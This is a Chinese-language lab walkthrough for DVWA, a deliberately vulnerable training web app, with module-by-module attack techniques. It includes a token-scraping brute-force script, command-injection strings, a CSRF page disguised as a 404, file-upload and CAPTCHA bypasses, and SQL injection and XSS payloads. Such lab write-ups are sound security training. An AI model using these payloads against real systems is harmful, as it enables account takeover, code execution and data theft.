DVWA
Brute Force:
low 和 medium方法相同,用burp抓包跑字典
high中还包含了token,每次提交前都会验证token,用脚本抓取token验证
from bs4 import BeautifulSoup import requests header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0', 'Cookie': 'security=high; PHPSESSID=fn3or2mr1ko05411p3l173s172'} url = 'http://192.168.5.135/DVWA/vulnerabilities/brute/' def get_token(url, headers): # 获取token信息 r = requests.get(url, headers=header) # print(r.status_code, end=' ') html = r.content.decode() # print(len(html), end=' ') soup = BeautifulSoup(html, 'html.parser') user_token = soup.form.find_all('input')[3]['value'] return user_token if __name__ == '__main__': u = get_token(url, header) # print(u) i = 0 for line in open('D:/1/weak password.txt'): # 打开本地字典文件 password = line.strip() username = 'admin' payload = {'username': username, 'password': password, 'Login': 'Login', 'user_token': u} # 设置payload信息 response = requests.get(url, params=payload, headers=header) print(i + 1, username, password, len(response.content.decode())) u = get_token(url, header) i += 1
Command Injection:
low:
127.0.0.1&&ipconfig
127.0.0.1&ipconfig
x|ipconfig
x||ipconfig
medium:
127.0.0.1&ipconfig
x|ipconfig
high:
127.0.0.1|ipconfig
CSRF:
low:修改密码后将短链接修改为其他密码,编辑页面诱导已登录的用户点击以达到修改密码的目的
<body> <img src="http://192.168.5.135/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# " border="0" style="display:none;"/> <h1>404</h1> <h2>file not found</h2> </body>
medium:
该处判断了Referer
此处可以将页面改名为目标的 ip.html 将页面放在本地服务器中去访问目标页面
high:
可以编写获取token的页面,在提交页面时用hidden方式提交,诱导其点击页面
File Inclusion:
low:
可以直接访问目标服务器的文件
medium:
在遇到过滤时可以用双写或大小写绕过
high:
浏览器访问有http https file 三种协议,这里用file:/// 来访问目标服务器文件
File Upload:
low:
直接上传php代码文件,返回路径后直接执行
medium:
可以先将代码文件修改后缀.jpg,上传时再抓包改为.php后缀或
直接上传.php文件,抓包修改 Content-Type:image/jpeg 就能上传成功
high:
copy test.jpg/b + x.php/a qwe.jpg
上传含有php代码的jpg文件,利用文件包含漏洞去访问上传的文件以执行php代码
Insecure CAPTCHA:
low:
这里将step设置为2就能跳过验证码
medium:
修改post
step=2&password_new=test&password_conf=test&Change=Change&passed_captcha=true
high:
查看源代码只要让User-Agent 和 g-recaptcha-response对比的结果为真就能绕过验证码
SQL Injection:
先手注看是否有注入点,如果有注入点上sqlmap爆库
low:
判断注入类型和注入点
字符型注入playload
'and 1#
medium:
数字型注入playload
and 1#
high:
方法同low级别
SQL Injection (Blind):
盲注要点在于使用二分法判断结果来提高爆库的效率
方法与基本注入方法相同,先找到注入点,然后跑sqlmap
XSS:
low:
闭合前后的标签加上<script>alert('xss');</script>,弹窗显示
medium:
这里过滤了<script>,用<img 标签
闭合前后标签中间加上<img src=1 onerror=alert('xss')>
这里不光要闭合前面的<option>还要闭合前面的<select>
high:
payload:
?default=English #<script>alert(/xss/)</script>
xss不管是DOM型、反射型还是存储型,他们的核心思想都是闭合前后的标签
其次再是弹窗的方法。最常见的弹窗的方法有<script>、<img src=1 onerror=>等
CSP Bypass:
在网络中找到该页面信任的网站
前往该网站打上xss,将xss页面输入到输入框就能执行jsp代码
JavaScript:
提交phrase参数的时候还包含一个token,查看源码,token=md5(rot13(phrase))
转换token值一并提交即可